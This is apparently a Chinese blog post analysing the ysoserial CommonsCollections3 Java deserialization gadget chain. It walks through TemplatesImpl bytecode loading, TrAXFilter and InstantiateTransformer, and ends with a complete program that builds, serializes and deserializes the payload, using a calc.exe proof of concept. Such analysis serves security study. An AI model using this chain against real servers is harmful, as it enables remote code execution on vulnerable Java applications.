cc3利用链如下:

TrAXFilter(Templates templates)
TemplatesImpl->newTransformer()
TemplatesImpl->getTransletInstance()
_class[_transletIndex].newInstance();

一、为构造的恶意字节码文件找一个newInstance启动入口

在TemplatesImpl类中的getTransletInstance方法,对 _class[_transletIndex]实现了newInstance()。

所以如果构造一个恶意类,然后通过类加载器加载,最终通过TemplatesImpl实现这个类的实例化,将实现这个恶意类的初始化执行。

假设将恶意代码写入这个类的静态代码块中,在这个类被实例化的时候得到执行,以Runtime为例。

构造恶意类:

public class Runtimecalc {
{
Runtime runtime = Runtime.getRuntime();
try {
runtime.exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
} }
}

又由于TemplatesImpl类中,getTransletInstance方法属于私有方法,所以需要依赖另一个方法。其中该类的newTransformer()调用了getTransletInstance(),该方法public作用域,可以被外部调用执行。

public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory); if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
} if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

通过反射给_class和_transletIndex赋值。但是在赋值之前,我们看到getTransletInstance方法对_name也做了判断if (_name == null) return null;,要求不能为空才可以继续执行后面代码,所以还需要通过反射给_name赋值。

另外需要注意的是由于这里做了一个强转(AbstractTranslet)_class[_transletIndex].newInstance();

加载的字节码类需要继承AbstractTranslet

private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
} return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

那么假设我们通过反射,直接为_class赋值为一个恶意字节码文件的文件路径。

然后通过调newTransformer方法实现,就能得到字节码文件的初始化执行。

TemplatesImpl templates = new TemplatesImpl();

Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx"); Field aClass = templates_cl.getDeclaredField("_class");
aClass.setAccessible(true);
aClass.set(templates,new Class[]{Runtimecalc.class}); Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0); templates.newTransformer();

二、字节码文件路径是无法在目标机器得到执行的,所以需要找到其他方法将字节码内容直接赋值序列化

Runtimecalc.class作为类文件赋值,是无法实现序列化的时候将文件内容直接传入的,这里赋值的只是文件路径。

所以序列化和反序列化是不成功的。

我们知道ClassLoader在加载的类的时候,最终是通过defineClass加载字节码文件内容。

利用这种方式,直接的赋值传参内容是字节码,就可以达到恶意类加载的序列化和反序列化。

Templateslmpl类中getTransletInstance方法中,在_class[_transletIndex].newInstance()执行前,还有一段如下代码

if (_class == null) defineTransletClasses()

假设我们之前不对_class赋值,查看defineTransletClasses做了什么。

private void defineTransletClasses()
throws TransformerConfigurationException { //需要给_bytecodes赋值
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
} TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
}); try {
final int classCount = _bytecodes.length;
//为_class赋值,长度为_bytecodes的长度
_class = new Class[classCount]; if (classCount > 1) {
_auxClasses = new HashMap<>();
} for (int i = 0; i < classCount; i++) {
//_bytecodes[0]赋值为字节码内容赋值给_class[0]
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass(); // Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
}
}
private byte[][] _bytecodes = null;

_bytecodes是一个byte二维数组,我们将byte[]类型的字节码赋值给_bytecodes[0]

这里就直接赋值字节码内容了

byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));

这样在defineTransletClasses被调用的时候

执行_class[i] = loader.defineClass(_bytecodes[i]);

_class[0]将会被赋值为loader.defineClass(code)

由于_tfactory需要调用,所以给_tfactory也赋值

最终实现代码如下:

TemplatesImpl templates = new TemplatesImpl();

Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx"); //注释不给_class赋值,满足_class == null,defineTransletClasses得到调用
//Field aClass = templates_cl.getDeclaredField("_class");
//aClass.setAccessible(true);
//aClass.set(templates,new Class[]{Runtimecalc.class}); Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0); //加载字节码
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));
byte[][] codes = {code}; //给_bytecodes赋值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes); //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl类型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory); templates.newTransformer();

三、让newTransformer得到执行

TrAXFilter类的构造方法会调用newTransformer

public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
TrAXFilter trAXFilter = new TrAXFilter(templates);

但是TrAXFilter并不实现Serializable接口,无法序列化,需要通过反射调用

在cc1中反射执行最终是通过InvokerTransformer的transform来实现

这里用了InstantiateTransformer的transform

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

剩下的就和cc1一样了

public class CC3Test3 {
public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx"); Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0); byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));
byte[][] codes = {code}; //给_bytecodes赋值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes); //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl类型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformerslist = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer,
}; ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformerslist); HashMap hashMap1 = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformerruntime); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc3.ser"));
objectOutputStream.writeObject(handle); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc3.ser"));
objectInputStream.readObject(); }
}

ysoserial commonscollections3 分析的更多相关文章

  1. ysoserial CommonsCollections2 分析

    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...

  2. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  3. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  4. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  5. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  6. ysoserial CommonsColletions6分析

    CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...

  7. ysoserial CommonsColletions3分析(2)

    上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...

  8. ysoserial CommonsColletions3分析(1)

    CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...

  9. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

随机推荐

  1. 给你的博客加个aplayer

    1.在 layout.ejs 中 body 标签内粘贴入以下 <!--音乐--> <link rel="stylesheet" href="https: ...

  2. 你言我语 By Twikoo

    主要做了两件事: 一是前端魔改 二是首页调用(替代原 bber) 注明:以下样式.功能代码基于 Twikoo v1.6.4 前端魔改 "管理面板"按钮同步隐藏输入框.先到twiko ...

  3. 【MATLAB】学习记录2-数组与向量

    1-数组 A=[1,2,3;4,5,6]%创建数组 [r,c]=size(A)%返回行列数 b=size(A) c=length(A)%返回最大的维数值 2-创建数组 先创建A数组 B=zeros(2 ...

  4. 校园网跨网段共享文件Samba+SSH

    Introduction This tutorial contains screenshots for the English version of Windows 10. Separate inst ...

  5. Linux虚拟机 RHEL8.0安装步骤

    一. 创建空白虚拟机 1.打开 VMware 虚拟机软件依次选择新建虚拟机并选择选择"自定义" 自定义功能更加全面,典型就是比较简单的配置 2.选择对应的 VMware 版本,此则 ...

  6. idea每次换行后光标都跑到最左边问题

    最进用idea时发现每次换行之后一段时间光标会自动跑到最左边,默认把我的首行空格删掉了 IDEA版本为:IntelliJ IDEA 2020.2.3 x64

  7. 快速排序C语言版图文详解

    ​ 算法原理:选一个数位基准,将序列分成两个部分,一边全是比它小序列,另一边全是比它大序列.然后再分别对比他小的序列和比再次进行基准分割.依次分割下去,得到一个有序的队列. 原理图示: ​编辑 ​编辑 ...

  8. Java套接字实现应用程序对数据库的访问

    最近在完成软件体系结构上机实验时,遇到一个有点点小难度的选做题,题目信息如下: 利用套接字技术实现应用程序中对数据库的访问.应用程序只是利用套接字连接向服务器发送一个查询的条件,而服务器负责对数据库的 ...

  9. 路径参数:Path Parameters

    官方文档地址:https://fastapi.tiangolo.com/zh/tutorial/path-params/ # -*- coding: UTF-8 -*- from fastapi im ...

  10. 第三章:模版层 - 1:Django模板语言详解

    本节将介绍Django模版系统的语法.Django模版语言致力于在性能和简单性上取得平衡. 如果你有过其它编程背景,或者使用过一些在HTML中直接混入程序代码的语言,那么你需要记住,Django的模版 ...